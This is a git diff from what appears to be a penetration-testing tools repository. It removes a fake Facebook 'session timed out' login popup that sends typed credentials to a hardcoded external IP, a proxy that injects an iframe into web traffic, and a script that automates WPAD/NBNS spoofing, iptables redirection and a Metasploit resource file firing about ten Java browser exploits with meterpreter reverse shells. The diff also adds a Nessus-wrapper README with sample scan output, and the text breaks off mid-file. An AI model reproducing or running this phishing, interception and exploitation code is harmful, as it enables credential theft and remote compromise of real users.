'; - answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; - } - - - // Check whether the user has entered a user/pass and pressed ok - function checker(){ - uname1 = document.getElementById("uname").value; - pass1 = document.getElementById("pass").value; - valcheck = document.getElementById("buttonpress").value; - - if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") { - // Join user/pass and send to attacker - answer = "source=facebook&"; - answer += "username="+uname1+"&password="+pass1; - $.ajax({ - type: "GET", - url: "http://96.126.106.188:8888/bin/process", - data: answer, - success: function() { - } - }); - //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); - // Set lastchild invisible - document.getElementById("popup").setAttribute('style','display:none'); - //document.body.lastChild.setAttribute('style','display:none'); - clearInterval(credgrabber); - // Lighten screen - grayOut(false); - //$j('#popup').remove(); - //$j('#darkenScreenObject').remove(); - - }else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true"){ - // If user has not entered any data reset button - document.getElementById("buttonpress").value = "false"; - alert("Please enter a valid username and password."); - } - } - - - // Facebook floating div - function facebook() { - - sneakydiv = document.createElement('div'); - sneakydiv.setAttribute('id', 'popup'); - sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); - document.body.appendChild(sneakydiv); - - // Set appearance using styles, maybe cleaner way to do this with CSS block? - var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"'; - var windowmain = 'style="border:1px #555 solid;"'; - var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 18px;"'; - var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; - var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; - var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"'; - var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);"'; - var buttonstyle = 'style="font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; - - var title = 'Facebook Session Timed Out'; - var messagewords = 'Your session has timed out due to inactivity.

Please re-enter your username and password to login.'; - var buttonLabel = ''; - - // Build page including styles - sneakydiv.innerHTML= '
' +title+ '

' + messagewords + '

Email:
Password:
' + '
' +buttonLabel+ '
'; - - // Repeatedly check if button has been pressed - credgrabber = setInterval(checker,3000); - } - - - // Generic floating div with image - function generic() { - sneakydiv = document.createElement('div'); - sneakydiv.setAttribute('id', 'popup'); - sneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); - sneakydiv.setAttribute('align', 'center'); - document.body.appendChild(sneakydiv); - sneakydiv.innerHTML= '

Your session has timed out!

For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

Username:
Password:


'; - - // Repeatedly check if button has been pressed - credgrabber = setInterval(checker,3000); - - } - - // Set background opacity and apply background - var backcolor = "<%== @backing %>"; - if(backcolor == "Grey"){ - grayOut(true,{'opacity':'70'}); - } else if(backcolor == "Clear"){ - grayOut(true,{'opacity':'0'}); - } - diff --git a/mitm/iframe_injector b/mitm/iframe_injector deleted file mode 100755 index 3434d40..0000000 --- a/mitm/iframe_injector +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/env python -""" - Zap encoding in requests and inject iframe after body tag in html responses. - Usage: - iframe_injector http://someurl/somefile.html -""" -from libmproxy import controller, proxy, platform -import os -import sys - - -class InjectingMaster(controller.Master): - def __init__(self, server, iframe_url): - controller.Master.__init__(self, server) - self._iframe_url = iframe_url - - def run(self): - try: - return controller.Master.run(self) - except KeyboardInterrupt: - self.shutdown() - - def handle_request(self, msg): - if 'Accept-Encoding' in msg.headers: - msg.headers["Accept-Encoding"][0] = 'none' - msg.reply() - - def handle_response(self, msg): - if msg.content: - c = msg.replace('', '' % self._iframe_url) - if c > 0: - print 'Iframe injected!' - msg.reply() - - -def main(argv): - if len(argv) != 2: - print "Usage: %s IFRAME_URL" % argv[0] - sys.exit(1) - iframe_url = argv[1] - TRANSPARENT_SSL_PORTS = [443, 8443] - trans = dict( - resolver = platform.resolver(), - sslports = TRANSPARENT_SSL_PORTS - ) - config = proxy.ProxyConfig( - cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem") - #transparent_proxy = trans - - ) - server = proxy.ProxyServer(config, 8080) - print 'Starting proxy...' - m = InjectingMaster(server, iframe_url) - m.run() - -if __name__ == '__main__': - main(sys.argv) diff --git a/mitm/mitm.py b/mitm/mitm.py deleted file mode 100755 index 56097c8..0000000 --- a/mitm/mitm.py +++ /dev/null @@ -1,497 +0,0 @@ -import subprocess -from twisted.web.server import Site -from twisted.web.static import File -from twisted.web import server, resource -from twisted.internet import reactor, protocol -import os,socket,struct,fcntl,sys,commands,time -from subprocess import Popen, PIPE -from termcolor import colored, cprint -import os.path -#import sqlite3 - -sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -sockfd = sock.fileno() -SIOCGIFADDR = 0x8915 - -websvrIP = "" -metasploitIP = "" -mitmIP = "" -wpadNbnsIP = "" - -#References for Java Exploits -#CVE-2012-0500 -#exploit/windows/browser/java_ws_vmargs -#windows/meterpreter/reverse_tcp -#JDK/JRE 7 update 2 and earlier -#JDK/JRE 6 update 30 and earlier - -#CVE-2012-0507 -#exploit/multi/browser/java_atomicreferencearray -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 2 and earlier -#JDK/JRE 6 update 30 and earlier -#JDK/JRE 5 update 33 and earlier - -#CVE-2012-1723 -#exploit/multi/browser/java_verifier_field_access -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 4 and earlier -#JDK/JRE 6 update 32 and earlier -#JDK/JRE 5 update 35 and earlier - -#CVE-2012-4681 -#exploit/multi/browser/java_jre17_exec -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 6 and earlier -#JDK/JRE 6 update 34 and earlier - -#CVE-2012-5088 -#exploit/multi/browser/java_jre17_method_handle -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 7 and earlier -#JDK/JRE 6 update 35 and earlier -#JDK/JRE 5 update 36 and earlier - -#CVE-2012-1533 -#exploit/windows/browser/java_ws_double_quote -#windows/meterpreter/reverse_tcp -#JDK/JRE 7 update 7 and earlier -#JDK/JRE 6 update 35 and earlier - -#CVE-2013-0422 -#exploit/multi/browser/java_jre17_jmxbean -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 10 and earlier - -#CVE-2013-0431 -#exploit/multi/browser/java_jre17_jmxbean_2 -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 11 and earlier - -#CVE-2013-1493 -#exploit/windows/browser/java_cmm -#windows/meterpreter/reverse_tcp -#JDK/JRE 7 update 15 and earlier -#JDK/JRE 6 update 41 and earlier -#JDK/JRE 5 update 40 and earlier - -#CVE-2013-1488 -#exploit/multi/browser/java_jre17_driver_manager -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 17 and earlier - -#CVE-2013-2465 -#exploit/multi/browser/java_storeimagearray -#java/meterpreter/reverse_tcp -#JDK/JRE 7 update 21 and earlier -#JDK/JRE 6 update 45 and earlier -#JDK/JRE 5 update 45 and earlier - -def createWPAD(interface): - contents = 'function FindProxyForURL(url, host) {if (isInNet(host, "127.0.0.1","255.255.255.0")){return "DIRECT";}return "PROXY '+interface+':8080; DIRECT";}' - file = open("wpad.dat","w") - file.write(contents) - file.close() - -def createHTML(localIP,metasploitIP): - #userAgent = MSIE 8.0 - #use exploit/windows/browser/ms13_055_canchor - - #Create iframe landing page to provide plugin detection and redirection to metasploit - file = open("pluginDetect4.htm", "w") - file.write("") - file.write("") - - file.write('') - file.write('') - file.write('') - - file.write('') - file.write("") - file.write("test") - file.write("") - file.close() - -def createMetasploitRC(metasploitIP): - javaExploits = [] - javaExploits.append("exploit/windows/browser/java_ws_vmargs") - javaExploits.append("exploit/multi/browser/java_atomicreferencearray") - javaExploits.append("exploit/multi/browser/java_verifier_field_access") - javaExploits.append("exploit/windows/browser/java_ws_vmargs") - javaExploits.append("exploit/multi/browser/java_jre17_method_handle") - javaExploits.append("exploit/multi/browser/java_jre17_jmxbean") - javaExploits.append("exploit/windows/browser/java_cmm") - javaExploits.append("exploit/multi/browser/java_jre17_driver_manager") - javaExploits.append("exploit/windows/browser/java_ws_double_quote") - javaExploits.append("exploit/multi/browser/java_jre17_exec") - javaExploits.append("exploit/multi/browser/java_storeimagearray") - - javaCVE = [] - javaCVE.append("") - javaCVE.append("CVE-2012-0507") - javaCVE.append("CVE-2012-1723") - javaCVE.append("CVE-2012-4681") - javaCVE.append("CVE-2012-5088") - javaCVE.append("CVE-2012-1533") - javaCVE.append("CVE-2012-0422") - javaCVE.append("CVE-2013-0431") - javaCVE.append("CVE-2013-1493") - javaCVE.append("CVE-2013-1488") - javaCVE.append("CVE-2013-2465") - - payloads = [] - payloads.append("windows/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("windows/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("windows/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("windows/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - payloads.append("java/meterpreter/reverse_tcp") - - srvPORTs = [] - srvPORTs.append("4001") - srvPORTs.append("4002") - srvPORTs.append("4003") - srvPORTs.append("4004") - srvPORTs.append("4005") - srvPORTs.append("4006") - srvPORTs.append("4007") - srvPORTs.append("4008") - srvPORTs.append("4009") - srvPORTs.append("4010") - srvPORTs.append("4011") - - #Create metasploit resource file - #metasploitIP = "127.0.0.1" - #localIP = "127.0.0.1" - #metasploitIP = get_ip('eth0:1') - - metasploitResource = "use auxiliary/spoof/nbns/nbns_response\nset verbose TRUE\nset regex wpad\nset spoofip "+get_ip('eth0:4')+"\nrun\nsleep 3\n" - metasploitResource+="spool /tmp1/msf3_output.txt\n" - metasploitResource += "use auxiliary/spoof/llmnr/llmnr_response\nset verbose true\nset regex wpad\nset spoofip "+get_ip('eth0:4')+"\nrun\nsleep 3\n" - metasploitResource += "use auxiliary/server/wpad\nset SRVHOST "+get_ip('eth0:4')+"\nset PROXY "+get_ip('eth0')+"\nset PROXYPORT 8080\nset verbose true\nexploit\n" - metasploitResource += "setg exitonsession false\nsetg LHOST "+metasploitIP+"\nsetg SRVPORT 80\nsetg SRVHOST "+metasploitIP+"\nsleep 5\n" - count=0 - LPORT=4000 - totalNum=len(javaExploits) - while count/dev/null 2>&1") - if response!=0: - mycmd = "ifconfig eth0:1 "+newInterface - commands.getstatusoutput(mycmd) - localIP = get_ip('eth0:1') - newIP=True - lastDigit+=1 - else: - lastDigit+=1 - - newIP=False - while newIP==False: - if lastDigit==0: - lastDigit = int(localIPsplit[3])+2 - newInterface = localIPsplit[0]+"."+localIPsplit[1]+"."+localIPsplit[2]+"."+str(lastDigit) - print "[+] Setting up eth0:2 interface" - print "[+] Checking if IP is in use: "+str(newInterface) - response = os.system("ping -c 1 -w2 "+newInterface + " >/dev/null 2>&1") - if response!=0: - mycmd = "ifconfig eth0:2 "+newInterface - commands.getstatusoutput(mycmd) - localIP = get_ip('eth0:2') - newIP=True - lastDigit+=1 - else: - lastDigit+=1 - - - newIP=False - while newIP==False: - if lastDigit==0: - lastDigit = int(localIPsplit[3])+3 - newInterface = localIPsplit[0]+"."+localIPsplit[1]+"."+localIPsplit[2]+"."+str(lastDigit) - print "[+] Setting up eth0:3 interface" - print "[+] Checking if IP is in use: "+str(newInterface) - response = os.system("ping -c 1 -w2 "+newInterface + " >/dev/null 2>&1") - if response!=0: - mycmd = "ifconfig eth0:3 "+newInterface - commands.getstatusoutput(mycmd) - localIP = get_ip('eth0:3') - newIP=True - lastDigit+=1 - else: - lastDigit+=1 - - newIP=False - while newIP==False: - if lastDigit==0: - lastDigit = int(localIPsplit[3])+4 - newInterface = localIPsplit[0]+"."+localIPsplit[1]+"."+localIPsplit[2]+"."+str(lastDigit) - print "[+] Setting up eth0:4 interface" - print "[+] Checking if IP is in use: "+str(newInterface) - response = os.system("ping -c 1 -w2 "+newInterface + " >/dev/null 2>&1") - if response!=0: - mycmd = "ifconfig eth0:4 "+newInterface - commands.getstatusoutput(mycmd) - localIP = get_ip('eth0:4') - newIP=True - lastDigit+=1 - else: - lastDigit+=1 - - - - websvrIP = get_ip('eth0:1') - metasploitIP = get_ip('eth0:2') - mitmIP = get_ip('eth0:3') - wpadNbnsIP = get_ip('eth0:4') - -#Enable ip forwarding -mycmd = "echo 1 > /proc/sys/net/ipv4/ip_forward" -commands.getstatusoutput(mycmd) - -#Forward traffic from port 80 to port 8080 (mitmproxy) -mycmd = [] -mycmd.append("iptables --flush") -mycmd.append("iptables -t nat --flush") -mycmd.append("iptables --zero") -mycmd.append("iptables -A FORWARD --in-interface eth0:3 -j ACCEPT") -mycmd.append("iptables -t nat -A PREROUTING -i eth0:3 -p tcp --destination-port 80 -j REDIRECT --to-port 8080") -mycmd.append("iptables -t nat -A PREROUTING -i eth0:3 -p tcp --dport 443 -j REDIRECT --to-port 8080") -for cmdi in mycmd: - commands.getstatusoutput(cmdi) - -websvrIP = get_ip('eth0:1') -metasploitIP = get_ip('eth0:2') -mitmIP = get_ip('eth0:3') -wpadNbnsIP = get_ip('eth0:4') - -print "Stats/WebSvr IP (eth0:1) "+"\t"+str(websvrIP) -print "BrowsePwn IP (eth0:2) "+"\t\t"+str(metasploitIP) -print "Mitmproxy (eth0:3) "+"\t\t"+str(mitmIP) -print "Wpad/Nbns IP (eth0:4) "+"\t\t"+str(wpadNbnsIP) - -createWPAD(get_ip('eth0')) -createMetasploitRC(metasploitIP) -createHTML(get_ip('eth0:3'),metasploitIP) - -#Run mitmproxy to inject the iframe -#mitmproxyPath = "python "+os.getcwd()+"/iframe_injector http://"+get_ip('eth0:3')+"/pluginDetect4.htm" -#iframeURL = "http://"+get_ip('eth0')+"/pluginDetect4.htm" -#args = "[+] Run this in another terminal '"+mitmproxyPath+"'" -#print colored(args,'green',attrs=['bold']) -#p1 = Popen(args1,shell=True) - -#Allow an IP to request the resource only once -bannedIPs = [] -class Simple(resource.Resource): - count=0 - isLeaf = True - def render_GET(self, request): - clientIP = request.getClientIP() - #if clientIP not in bannedIPs: - file = request.path.strip("/") - if("detectVersion.asp" not in file): - if("favicon.ico" not in file): - #count = bannedIPs.count(clientIP) - #print count - #if count<99: - #if count==0: - print colored("Client IP: "+clientIP,'green',attrs=['bold']) - if "pluginDetect4.htm" in file: - count = bannedIPs.count(clientIP) - if count==0: - bannedIPs.append(clientIP) - with open(file) as source: - return source.read() - else: - with open(file) as source: - return source.read() - else: - #if clientIP not in bannedIPs: - #count = bannedIPs.count(clientIP) - #if count<99: - #conn = sqlite3.connect("logs.db") - queryString = (str(request).strip("HTTP/1.1>")).split("?") - #print queryString[1] - parameters = queryString[1].split("&") - if "CVE" in str(parameters): - for parameter in parameters: - if len(parameter)>4: - print colored(parameter,'yellow',attrs=['bold']) - else: - for parameter in parameters: - parameter = parameter.strip() - parameter = parameter.replace("%20"," ") - print parameter - -#Run metasploit - -mycmd = "netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v '0.0.0.0'" -gateway = commands.getstatusoutput(mycmd) - -args = "[+] Run this in another terminal 'screen -S msf -d -m /tmp1/metasploit-framework/msfconsole -r "+os.getcwd()+"/msf1.rc'" -#p2 = Popen(args,shell=True) -print colored(args,'green',attrs=['bold']) -#args = "[+] Run this in another terminal 'arpspoof -i eth0 -t "+sys.argv[1]+" "+str(gateway[1])+"'" -#print colored(args,'green',attrs=['bold']) - -#Web server for serving iframe landing page -""" -if not os.path.exists("logs.db"): - conn = sqlite3.connect("logs.db") - conn.execute('''CREATE TABLE logs (ID INT PRIMARY KEY NOT NULL, - IP TEXT NOT NULL, - CVE TEXT NOT NULL, - BROWSER TEXT NOT NULL, - BROWSERVERSION TEXT NOT NULL, - USERAGENT TEXT NOT NULL, - QTVERSION TEXT NOT NULL, - AXVERSION TEXT NOT NULL, - FLASHVERSION TEXT NOT NULL, - IEVERSION TEXT NOT NULL, - JAVAVERSION TEXT NOT NULL, - PDFJSVERSION TEXT NOT NULL, - PDFREADERVERSION TEXT NOT NULL, - REALPLAYERVERSION TEXT NOT NULL, - SHOCKWAVEVERSION TEXT NOT NULL, - SILVERLIGHTVERSION TEXT NOT NULL, - VLCVERSION TEXT NOT NULL, - WINDOWSMPVERSION TEXT NOT NULL);''') - conn.close() -""" -mycmd = "screen -S iframe -d -m python2.7 "+os.getcwd()+"/iframe_injector http://"+get_ip("eth0:3")+"/pluginDetect4.htm" -args = "[+] Run this in another terminal '"+mycmd+"'" -print colored(args,'green',attrs=['bold']) -#subprocess.Popen(mycmd,shell=True) - -site = server.Site(Simple()) -reactor.listenTCP(80, site,interface=get_ip('eth0:3')) -try: - reactor.run() -except KeyboardInterrupt: - reactor.stop() -PIDs = [] -PIDs.append("msfconsole") -PIDs.append("iframe") -killPID=[] -for i in PIDs: - mycmd = "pgrep -f "+i - output = commands.getstatusoutput(mycmd) - killPID.append(output[1]) -for x in killPID: - mycmd = "kill -9 "+str(x) - output = commands.getstatusoutput(mycmd) - - diff --git a/mitm/msf1.rc b/mitm/msf1.rc deleted file mode 100755 index 4898e8d..0000000 --- a/mitm/msf1.rc +++ /dev/null @@ -1,59 +0,0 @@ -setg exitonsession false -setg LHOST 192.168.0.108 -setg SRVPORT 80 -setg SRVHOST 192.168.0.108 -sleep 3 -use exploit/multi/browser/java_jre17_jmxbean -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2013-0431 -set LPORT 4000 -exploit -jz -sleep 2 -use exploit/multi/browser/java_atomicreferencearray -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2012-0507 -set LPORT 4001 -exploit -jz -sleep 2 -use exploit/multi/browser/java_verifier_field_access -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2012-1723 -set LPORT 4002 -exploit -jz -sleep 2 -use exploit/windows/browser/java_ws_vmargs -set PAYLOAD windows/meterpreter/reverse_tcp -set URIPATH /CVE-2012-0500 -set LPORT 81 -exploit -jz -sleep 2 -use exploit/multi/browser/java_jre17_method_handle -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2012-5088 -set LPORT 4004 -exploit -jz -sleep 2 -use exploit/windows/browser/java_cmm -set PAYLOAD windows/meterpreter/reverse_tcp -set URIPATH /CVE-2013-1493 -set LPORT 4005 -exploit -jz -sleep 2 -use exploit/multi/browser/java_jre17_driver_manager -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2013-1488 -set LPORT 4006 -exploit -jz -sleep 2 -use exploit/windows/browser/java_ws_double_quote -set PAYLOAD windows/meterpreter/reverse_tcp -set URIPATH / -set LPORT 4007 -exploit -jz -sleep 2 -use exploit/multi/browser/java_jre17_exec -set PAYLOAD java/meterpreter/reverse_tcp -set URIPATH /CVE-2012-4681 -set LPORT 82 -exploit -jz -sleep 2 diff --git a/mitm/pluginDetect4.htm b/mitm/pluginDetect4.htm deleted file mode 100755 index 72bd026..0000000 --- a/mitm/pluginDetect4.htm +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/mitm/readme.txt b/mitm/readme.txt deleted file mode 100755 index f0b90c0..0000000 --- a/mitm/readme.txt +++ /dev/null @@ -1,12 +0,0 @@ -pip install pyopenssl -pip install netlib -pip install flask -pip install termcolor - -or - -wget https://pypi.python.org/packages/source/t/termcolor/termcolor-1.1.0.tar.gz -wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.1.tar.gz -wget https://pypi.python.org/packages/source/n/netlib/netlib-0.9.2.tar.gz -wget https://pypi.python.org/packages/source/F/Flask/Flask-0.10.1.tar.gz - diff --git a/mitm/savecookies.js b/mitm/savecookies.js deleted file mode 100755 index cd323e7..0000000 --- a/mitm/savecookies.js +++ /dev/null @@ -1,49 +0,0 @@ -var expdate = new Date (); -expdate.setTime (expdate.getTime() + (24 * 60 * 60 * 1000*365)); // 1 yr from now -/* ####################### start set cookie ####################### */ -function setCookie(name, value, expires, path, domain, secure) { - var thisCookie = name + "=" + escape(value) + - ((expires) ? "; expires=" + expires.toGMTString() : "") + - ((path) ? "; path=" + path : "") + - ((domain) ? "; domain=" + domain : "") + - ((secure) ? "; secure" : ""); - document.cookie = thisCookie; -} -/* ####################### start show cookie ####################### */ -function showCookie(){ -alert(unescape(document.cookie)); -} -/* ####################### start get cookie value ####################### */ -function getCookieVal (offset) { - var endstr = document.cookie.indexOf (";", offset); - if (endstr == -1) - endstr = document.cookie.length; - return unescape(document.cookie.substring(offset, endstr)); -/* ####################### end get cookie value ####################### */ -} -/* ####################### start get cookie (name) ####################### */ -function GetCookie (name) { - var arg = name + "="; - var alen = arg.length; - var clen = document.cookie.length; - var i = 0; - while (i < clen) { - var j = i + alen; - if (document.cookie.substring(i, j) == arg) - return getCookieVal (j); - i = document.cookie.indexOf(" ", i) + 1; - if (i == 0) break; - } - return null; -} -/* ####################### end get cookie (name) ####################### */ -/* ####################### start delete cookie ####################### */ -function DeleteCookie (name,path,domain) { - if (GetCookie(name)) { - document.cookie = name + "=" + - ((path) ? "; path=" + path : "") + - ((domain) ? "; domain=" + domain : "") + - "; expires=Thu, 01-Jan-70 00:00:01 GMT"; - } -} - diff --git a/mitm/wpad.dat b/mitm/wpad.dat deleted file mode 100755 index 4493c9a..0000000 --- a/mitm/wpad.dat +++ /dev/null @@ -1,9 +0,0 @@ -function FindProxyForURL(url, host) { - // URLs within this network are accessed directly - if (isInNet(host, "127.0.0.1", "255.255.255.0")) - { - return "DIRECT"; - } - return "PROXY 10.0.20.172:8080; DIRECT"; - } - diff --git a/nessus/README.md b/nessus/README.md index d396076..efae49f 100644 --- a/nessus/README.md +++ b/nessus/README.md @@ -1 +1,131 @@ -Migrated to https://github.com/milo2012/nmap2nessus +Prerequisites +``` +pip install requests --upgrade +``` + + +sudo python nmap2ness.py -h +usage: nmap2ness.py [-h] [-s HOSTIP] [-n SCANID] [-u USERNAME] [-p PASSWORD] + [-i INFILE] [-o OUTFILE] +``` +optional arguments: + -h, --help show this help message and exit + -s HOSTIP [nessus server IP] + -u USERNAME [username] + -p PASSWORD [password] + -t TEMPLATEFILE [Nessus template name to use] + -i INFILE [nmap xml file] + -n SCANID [lookup job based on scan_id (optional)] + -o OUTFILE [nessus report (csv) (optional)] +``` + +#####Start a nessus scan by connecting to Nessus server 127.0.0.1 + +sudo python nmap2ness.py -u root -p 1234 -i nmapt_target.xml -s 127.0.0.1 +``` +- Launching new Nessus scan +- Extracting ports from nmapt_target.xml +- Modifying Nessus policy +- Logging into Nessus +- Uploading Policy +- Starting Nessus Scan +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : canceled + +- Summary of Results (Critical/High/Medium) +Critical 176.28.50.165:80 PHP Unsupported Version Detection +High 176.28.50.165:80 PHP 5.3.x < 5.3.29 Multiple Vulnerabilities +Medium 176.28.50.165:110 SSL Certificate Expiry +Medium 176.28.50.165:110 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:110 SSL Self-Signed Certificate +Medium 176.28.50.165:143 SSL Certificate Expiry +Medium 176.28.50.165:143 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:143 SSL Self-Signed Certificate +Medium 176.28.50.165:25 SSL Certificate Expiry +Medium 176.28.50.165:25 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:25 SSL Self-Signed Certificate +Medium 176.28.50.165:465 SSL Certificate Expiry +Medium 176.28.50.165:465 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:465 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:465 SSL Self-Signed Certificate +Medium 176.28.50.165:465 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) +Medium 176.28.50.165:993 SSL Certificate Expiry +Medium 176.28.50.165:993 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:993 SSL Weak Cipher Suites Supported +Medium 176.28.50.165:993 SSL Medium Strength Cipher Suites Supported +Medium 176.28.50.165:993 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:993 SSL Self-Signed Certificate +Medium 176.28.50.165:993 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) +Medium 176.28.50.165:995 SSL Certificate Expiry +Medium 176.28.50.165:995 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:995 SSL Weak Cipher Suites Supported +Medium 176.28.50.165:995 SSL Medium Strength Cipher Suites Supported +Medium 176.28.50.165:995 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:995 SSL Self-Signed Certificate +Medium 176.28.50.165:995 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) + +- Nessus report has been saved to: report.csv +``` +#####If you have started a Nessus job but the scripts accidentally gets terminated, you can connect back to the Nessus server by specifying the Scan_ID using the -n parameter + +sudo python nmap2ness.py -u root -p 1234 -n 224 +``` +- Logging into Nessus +- Starting Nessus Scan +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : running +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : paused +- Checking Job Status: 224 : canceled + +- Summary of Results (Critical/High/Medium) +Critical 176.28.50.165:80 PHP Unsupported Version Detection +High 176.28.50.165:80 PHP 5.3.x < 5.3.29 Multiple Vulnerabilities +Medium 176.28.50.165:110 SSL Certificate Expiry +Medium 176.28.50.165:110 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:110 SSL Self-Signed Certificate +Medium 176.28.50.165:143 SSL Certificate Expiry +Medium 176.28.50.165:143 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:143 SSL Self-Signed Certificate +Medium 176.28.50.165:25 SSL Certificate Expiry +Medium 176.28.50.165:25 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:25 SSL Self-Signed Certificate +Medium 176.28.50.165:465 SSL Certificate Expiry +Medium 176.28.50.165:465 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:465 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:465 SSL Self-Signed Certificate +Medium 176.28.50.165:465 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) +Medium 176.28.50.165:993 SSL Certificate Expiry +Medium 176.28.50.165:993 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:993 SSL Weak Cipher Suites Supported +Medium 176.28.50.165:993 SSL Medium Strength Cipher Suites Supported +Medium 176.28.50.165:993 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:993 SSL Self-Signed Certificate +Medium 176.28.50.165:993 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) +Medium 176.28.50.165:995 SSL Certificate Expiry +Medium 176.28.50.165:995 SSL Version 2 and 3 Protocol Detection +Medium 176.28.50.165:995 SSL Weak Cipher Suites Supported +Medium 176.28.50.165:995 SSL Medium Strength Cipher Suites Supported +Medium 176.28.50.165:995 SSL Certificate Cannot Be Trusted +Medium 176.28.50.165:995 SSL Self-Signed Certificate +Medium 176.28.50.165:995 SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE) + +- Nessus report has been saved to: report.csv +``` diff --git a/others/parseMSTports.py b/others/parseMSTports.py deleted file mode 100755 index 6c3d404..0000000 --- a/others/parseMSTports.py +++ /dev/null @@ -1,261 +0,0 @@ -#! /usr/bin/env python -# Sachin Agarwal, Google, Twitter: sachinkagarwal, Web: http://sites.google.com/site/sachinkagarwal/ -# November 2010 -# Using Python to execute a bunch of job strings on multiple processors and print out the results of the jobs in the order they were listed in the job list (e.g. serially). -# Partly adapted from http://jeetworks.org/node/81 - - -#These are needed by the multiprocessing scheduler -from multiprocessing import Queue -import multiprocessing -import commands -import sys -import sys -import commands,os -import nmap -import subprocess -import argparse -resultsEnd = [] - -#These are specific to my jobs requirement -import os -import re - -httpList = [] -sslList = [] -snmpList = [] -sshList = [] -scanTCPList = [] -scanUDPList = [] -filename = '' - -file = open("results.txt", "w") - -def generateCommands(): - print "Generating nmap commands" - filename = str(sys.argv[1]) - with open(filename) as f: - for line in f: - hostNo = line.split(":")[0] - inputStr = line.split(":")[1] - inputList = inputStr.split(" ") - tcpList=[] - udpList=[] - #print "\n" - file.write("\n"+hostNo+"\n") - for i in inputList: - if '/tcp' in i or '/TCP' in i: - tmpStr = i.replace('/tcp','') - tmpStr = tmpStr.replace('/TCP','') - tmpStr = (tmpStr.replace(',','')).replace(" ","").replace("\n","") - tcpList.append(tmpStr) - if '/udp' in i or '/UDP' in i: - 